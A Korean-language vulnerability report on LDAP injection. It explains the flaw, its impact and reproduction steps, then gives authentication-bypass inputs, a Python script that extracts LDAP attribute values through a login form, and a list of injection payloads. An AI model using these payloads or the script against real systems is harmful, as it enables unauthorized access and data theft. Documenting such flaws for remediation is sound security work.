LDAP 주입
요약:
이 취약점은 데이터 유출, 무단 액세스 및 기타 주요 보안 문제를 일으킬 가능성이 있습니다. 사용자 데이터 및 시스템 무결성을 보호하기 위해 이 문제에 즉각적인 주의를 기울이고 해결해야 합니다.
취약점 세부 정보:
LDAP(Lightweight Directory Access Protocol) 삽입은 신뢰할 수 없는 사용자 입력이 적절한 삭제 또는 유효성 검사 없이 LDAP 쿼리에 직접 포함될 때 발생하는 코드 삽입 기술입니다.
대상 응용 프로그램이 사용자 제공 입력의 유효성을 적절하게 검사하지 못하여 잠재적인 LDAP 삽입 취약점이 발생합니다.
공격자는 이 약점을 악용하여 LDAP 쿼리를 변경하고, 인증 검사를 회피하고, 기밀 데이터에 대한 무단 액세스 권한을 얻거나 유해한 행위를 수행할 수 있습니다.
영향을 받는 구성 요소:
LDAP 삽입 취약점은 웹 애플리케이션의 인증 모듈, 특히 사용자 자격 증명 처리 및 LDAP 서버에 대한 인증을 담당하는 코드에 영향을 미칩니다.
재현 단계:
- LDAP 쿼리와 상호 작용하는 애플리케이션 내의 필드를 식별합니다.
- 괄호, 별표 또는 백슬래시와 같은 LDAP 메타 문자를 포함하는 악의적인 입력을 만듭니다.
- 입력을 제출하고 애플리케이션의 응답을 관찰하십시오.
- 예기치 않은 동작, 오류 메시지 또는 비정상적인 데이터 검색에 유의하십시오.
- 이 응용 프로그램은 사용자가 자신의 사용자 이름과 암호를 사용하여 로그인할 수 있도록 합니다.
- 애플리케이션은 적절한 입력 유효성 검사 없이 제공된 사용자 이름을 사용하여 LDAP 쿼리를 구성합니다.
- 공격자는 사용자 이름 필드에 다음 입력을 제공합니다. ")(cn=))(|(uid=))(|(objectClass=*"
- 결과 LDAP 쿼리는 "(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[제공된 암호])"가 됩니다.
- 공격자는 승인되지 않은 액세스 권한을 얻고 잠재적으로 중요한 정보를 검색하거나 기타 악의적인 작업을 수행합니다.
user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
LDAP 개체는 기본적으로 데이터를 보존하는 데 사용할 수 있는 다양한 속성을 제공합니다. 해당 정보를 얻기 위해 모두 무차별 대입을 시도할 수 있습니다. 여기에 기본 LDAP 속성 목록이 있습니다 .
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
영향:
공격자는 이 결함을 사용하여 LDAP 쿼리 형식을 변경하고 원하는 LDAP 명령을 실행할 수 있습니다.
그 결과 LDAP 서비스 계정에 연결된 권한에 따라 비공개 데이터에 대한 무단 액세스, 데이터 조작 또는 원격 코드 실행이 포함될 수 있습니다.
이 취약점이 효과적으로 악용될 경우 대상 응용 프로그램의 보안 및 개인 정보가 심각하게 위험에 처할 수 있습니다.
트위터

![연결된 목록이란 무엇입니까? [1 부]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































